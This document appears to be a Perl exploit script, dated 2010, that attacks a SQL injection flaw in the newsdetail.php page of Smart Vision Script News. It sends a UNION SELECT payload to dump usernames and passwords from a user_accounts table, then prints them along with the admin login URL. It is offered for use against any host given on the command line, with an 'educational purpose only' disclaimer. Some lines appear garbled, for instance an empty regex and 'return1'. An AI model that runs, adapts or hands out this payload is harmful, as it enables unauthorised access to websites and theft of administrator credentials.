#!usr/bin/perl ############################################################################# Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit# Date: 01-04-2010# Author: darkmasking############################################################################# This was written for educational purpose only. Use it at your own risk. # Author will be not responsible for any damage! ############################################################################ # Vuln discovered by Err0R # Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability# http://www.exploit-db.com/exploits/10977############################################################################# Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o############################################################################
use IO::Socket::INET;
use LWP::UserAgent;
sub banner {print"\n"."[»]=============================================[_][-][X]\n"."[»]======= ------d-------m------ ======== [»]\n"."[»]|| === = | |(o o)| |||== || ==|| [»]\n"."[»]|| === = ||(~)|||| == || [»]\n"."[»]======= | |||| [»]\n"."[»]---------------------------------------------------[»]\n"."[»] Smart Vision Script News (newsdetail) [»]\n"."[»] SQL Injection Exploit [»]\n"."[»] by darkmasking[»]\n"."[»] Vuln discovered by Err0R[»]\n"."[»]===================================================[»]\n\n";}
my $host= $ARGV[0];
my $sql_path ="/newsdetail.php?id=";
my $admin_path ="/admin/admin.php";if(@ARGV <1){&banner();&help("-1");}
elsif(check($host)==1){&banner();&dmploit($host,$sql_path);}else{&banner();help("-2");}
sub dmploit(){
my $host = $_[0];
my $sql_path = $_[1];print"[+] Getting Username and Password\n";print"[!] Checking...\n";print"\n";
my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--";
my $sql_get = get_url($sql_atk);
my $connect = tag($sql_get);if($connect =~/darkmasking:(.+):(.+):darkmasking/){print"-o0 SQL Injection Successfully 0o-\n";print"[+] Username : $1\n";print"[+] Password : $2\n";print"\n";print"[+] Admin URL = $host$admin_path\n";}else{print"[-] SQL Injection Failed\n";}}
sub get_url(){
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);return $response->content;}
sub tag(){
my $string = $_[0];
$string =~ s//\$/g;
$string =~ s/\s/\*/g;return($string);}
sub check(){
my $host= $_[0];if($host =~/http:\/\/(.*)/){return1;}else{return0;}}
sub help(){
my $error = $_[0];if($error ==-1){print"\n[-] Error, missed some arguments !\n\n";}
elsif ($error ==-2){print"\n[-] Error, Bad arguments !\n";}print" Usage : perl $0 http://www.darkurl.com/\n\n";print" Ex: perl $0 http://www.darkurl.com/\n\n";
exit(0);}